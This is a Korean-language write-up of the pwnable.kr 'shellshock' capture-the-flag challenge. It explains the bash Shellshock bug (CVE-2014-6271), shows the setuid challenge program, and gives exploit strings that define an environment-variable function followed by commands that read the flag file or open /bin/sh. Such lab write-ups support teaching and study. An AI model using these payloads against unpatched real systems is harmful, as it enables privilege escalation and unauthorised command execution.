pwnable.kr shellshock write up
문제 분석
pwnable.kr을 풀기 전에 문제에 있는 힌트를 괜히 주는게 아니라고 생각이 든다.
위 힌트에서 bash에 대한 shocking news가 있다고 한다.
따라서 문제 이름인 shellshock, bashshock에 대해 검색을 해보았다.
Shellshock(CVE-2014-6271)
Shelllshock 취약점은 GNU bash shell에서 환경변수(env)를 통해 공격자가 원격으로 명령어를 실행할 수 있는 취약점이다.
내가 이해한 바로는
- 해당 취약점은 특정 bash 버전에서 발생한다.
- 새로운 bash 쉘을 떨어뜨리는 기능을 수행하거나, 쉘을 생성하는 링크가 있을 때 사용 가능하다.
- 환경변수의 함수 선언을 통해 의도치 않은 동작을 수행시킨다.
환경 변수의 함수 선언
쉘에서 export 명령어를 통해 환경 변수를 설정할 수 있다.
현재의 환경 변수들이다.
여기에 export var="asdf" 라는 명령어를 쉘에서 입력하면
환경변수가 등록이 되게 된다. 환경변수는 문자열 뿐만 아니라 경로, 그리고 함수도 선언할 수 있다.
export var='() { echo "test";}'
이런 식으로 작성하게 된다면 var이 함수가 되는 것이다. 주의할점은 중괄호{ 이후에 띄어쓰기 후 echo를 적어야 한다. 내가 실습할 땐 붙여서 했더니 syntex error가 떴다.
해당 방법처럼 환경 변수를 설정하고 출력해보면 선언이 된 것을 볼 수 있다.
하지만 위 사진처럼 var이라는 명령어를 작성했을 때, var이 실행되지 않는다.
그 이유는 현재 함수로 환경변수가 등록된 상태가 아닌 단지 저 문자열 그대로 변수가 등록된 상태인 것이다.
이제 저 문자열이 함수로 변환을 하려면 환경변수가 등록된 상태에서 새로운 bash shell을 떨어뜨려야 한다.
그러면 새로운 쉘이 떨어지는 과정에서 var 이라는 환경변수를 bash가 "이건 함수네? " 하면서 function definition으로 변경하는 과정을 수행하게 된다.
따라서 아래 사진처럼 새로운 쉘에서는 var이라고 입력했을 때 echo "test" 가 실행되게 된다.
하지만 취약점은 그 이후에 발생한다.
# export var='() { echo "test";}' 기존 코드
export var='() { echo "test";}; echo "vulun"'
위 코드와 다르게 세미콜론 이후에 추가적인 동작을 적었다. 시스템은 parsing logic 상의 버그로 인해 var을 function definition 하는 과정 이후에 echo "vulun" 이라는 동작을 수행하게 된다. 이 동작은 새로운 쉘 환경에서 var 을 실행시겼을 때 실행되는 것이 아닌, 쉘이 떨어지는 과정에서 자동적으로 커맨드를 실행하게 된다.
소스코드
ls -al
bash 파일은 새로운 쉘을 떨어뜨려주는 기능을 수행한다.
shellshock.c
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
해당 코드를 보면 system함수를 이용하여 새로운 bash를 떨어뜨리는 것을 볼 수 있다.
그렇다면 우리는 위의 설명한 shell shock 취약점을 이용해 익스플로잇을 할 수 있다.
익스플로잇
- 환경변수로 함수를 정의 하고, 환경변수 이후에 세미콜론으로 구분하여 원하는 동작을 입력한다.
- 새로운 쉘을 떨어뜨린다.
- ./shellshock 실행하여 uid를 가진 쉘 떨어뜨려 권환 획득
# /bin/cat을 이용해서 flag 출력
exploit='() { echo "exploit!!";}; /bin/cat flag;'
# /bin/sh을 이용해서 쉘 획득
exploit='() { echo "exploit!!";}; /bin/sh;'
#코드 중간의 echo "exploit!!"; 대신 '() {;}; /bin/sh;' 도 가능
해결!